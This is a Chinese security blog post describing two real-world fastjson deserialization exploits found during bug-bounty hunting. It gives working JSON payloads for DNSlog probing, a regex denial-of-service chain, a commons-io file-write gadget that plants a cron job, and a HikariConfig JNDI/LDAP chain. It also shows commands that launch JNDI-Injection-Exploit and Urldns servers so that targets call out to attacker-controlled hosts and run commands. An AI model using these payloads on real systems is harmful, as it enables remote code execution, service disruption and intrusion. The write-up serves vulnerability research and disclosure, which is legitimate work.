SRC挖掘 | fastjson反序列化漏洞实战
SRC挖掘 | fastjson反序列化漏洞实战
sec0nd安全 2025-03-05 22:19
1、前言
前段时间挖掘src遇到了两个fastjson反序列化漏洞,分享一下挖掘思路与打法。
2、漏洞挖掘
漏洞1、
该小程序需要输入账号密码才能访问,这种时候可以通过反编译小程序代码,拼接路径接口进行测试。
将小程序反编译后(过程省略,反编译教学可看我之前的文章:微信小程序反编译与动态调试教学),使用py脚本获取接口路径,再用bp批量跑一遍。
跑出来的接口其中有一条显示缺少参数,明显这个接口不需要鉴权。
从小程序代码可知这个是json请求的接口,试着打一下fastjson的探测出网链(版本范围1.2.24-1.2.83)
{"@type":"java.net.Inet4Address","val":"dnslog.com"}
成功收到请求,这个链没有危害,只能证明是否存在漏洞。
试试删除一个括号,没有报错回显,看来没办法通过报错信息来判断版本,只能盲打了
试一下ddos链,通过数据包响应时间判断是否成功
(版本范围1.2.36-1.2.62)
{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
等了10秒仍然没有响应包,看来是执行成功了
可判断大概版本在1.2.36-1.2.62之间,因为没有报错信息,也无法判断服务器存在什么类,就只能按照网上的payload盲打了(过程省略)。
最后所有利用链都试得差不多了但没有成功,将目光转移到用fastjson写文件到定时任务中执行命令。ping服务器查看TTL可知是linux服务器
被框起来的地方就是要写入的内容
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""testaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"1.txt",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
从该文章中可知写入的
字符串长度要比较长才能写入到目标文件里面
准备写入定时任务执行ping命令,还需要写入大量字符串,为了避免定时任务文件报错,将多余的字符串注释掉。
因为数据包太大了,使用bp不太好发,所以我这里使用了YAKIT发包,将定时任务文件写进去
过了一分
钟收
到了dnslog请求
漏洞2、
打开是一个登录框,点击登录抓包。
也是json请求的
删除一个括号,存在报错信息,有报错信息方便判断fastjson版本了
报错出版本为1.2.54
{"@type":"java.lang.AutoCloseable"a["test ":1]
判断autoType是否开启,如果开启了,就会收到dnslog请求
[
{
"@type": "java.net.CookiePolicy"
},
{
"@type": "java.net.Inet4Address",
"val": "xxx.eu.org"
}
]
收到请求了,说明autoType开启了
通过@type判断目标服务器存在什么类,@type中不存在的类名和存在的类名回显是不一样的
存在的类
不存在的类
直接爆破一遍,看看存在什么类,就可以知道打什么链了
存在com.zaxxer.hikari.HikariConfig类,那就可以打这条链了
目标服务器的fastjson版本符合条件
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://xxx.org"}
先试一下可不可以收到请求
收到请求了,直接开打
在服务器起一个jndi服务,执行ping命令
java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C ping bd1e1a32fe.ipv6.1433.eu.org
标红的这里是要打的反序列化链,例如cc链cb链那些
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://ip:port/deserialCommonsBeanutils1"}
链子太多一个一个试太久了,直接bp跑一遍也是可以的
放到字典跑
线程记得调低一点
回到dns平台,收到请求,服务器执行了ping命令
补充:
这一步如果想要知道对方服务器具体可以打什么链的话,也是可以用上一篇文章提到的urldns工具获取回显的
(可以使用这个dns平台接收请求https://dig.pm)
先在vps将服务运行起来
java -jar Urldns.jar ldap all xxx.eu.org
接着发起请求
查看dnslog平台,收到回显,就可以判断打什么链了